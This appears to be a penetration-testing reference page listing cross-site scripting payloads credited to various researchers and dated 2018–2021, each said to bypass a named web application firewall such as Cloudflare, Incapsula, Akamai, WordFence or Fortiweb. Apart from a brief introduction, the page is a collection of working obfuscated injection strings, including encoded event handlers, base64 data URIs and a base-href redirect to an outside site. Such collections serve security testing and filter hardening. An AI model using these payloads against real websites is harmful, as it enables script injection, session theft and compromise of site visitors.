XSS Injection Payloads & Testing Methodology
Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone w...
Common WAF Bypass#
WAFs are designed to filter out malicious content by inspecting incoming and outgoing traffic for patterns indicative of attacks. Despite their sophistication, WAFs often struggle to keep up with the diverse methods attackers use to obfuscate and modify their payloads to circumvent detection.
Summary#
Cloudflare#
- 25st January 2021 - @Bohdan Korzhynskyi
js2 lines
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>- 21st April 2020 - @Bohdan Korzhynskyi
js1 line
<svg/OnLoad="`${prompt``}`">- 22nd August 2019 - @Bohdan Korzhynskyi
js1 line
<svg/onload=%26nbsp;alert`bohdan`+- 5th June 2019 - @Bohdan Korzhynskyi
js1 line
1'"><img/src/onerror=.1|alert``>- 3rd June 2019 - @Bohdan Korzhynskyi
js3 lines
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>- 22nd March 2019 - @RakeshMane10
js1 line
<svg/onload=alert()//- 27th February 2018
html1 line
<a href="j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))">X</a>Chrome Auditor#
NOTE: Chrome Auditor is deprecated and removed on latest version of Chrome and Chromium Browser.
- 9th August 2018
javascript1 line
</script><svg><script>alert(1)-%26apos%3BIncapsula WAF#
- 11th May 2019 - @daveysec
js1 line
<svg onload\r\n=$.globalEval("al"+"ert()");>- 8th March 2018 - @Alra3ees
javascript2 lines
anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz- 11th September 2018 - @c0d3G33k
javascript1 line
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>Akamai WAF#
- 18th June 2018 - @zseano
javascript1 line
?"></script><base%20c%3D=href%3Dhttps:\mysite>- 28th October 2018 - @s0md3v
svg1 line
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>WordFence WAF#
- 12th September 2018 - @brutelogic
html1 line
<a href=javascript:alert(1)>Fortiweb WAF#
- 9th July 2019 - @rezaduty
javascript1 line
\u003e\u003c\u0068\u0031 onclick=alert('1')\u003e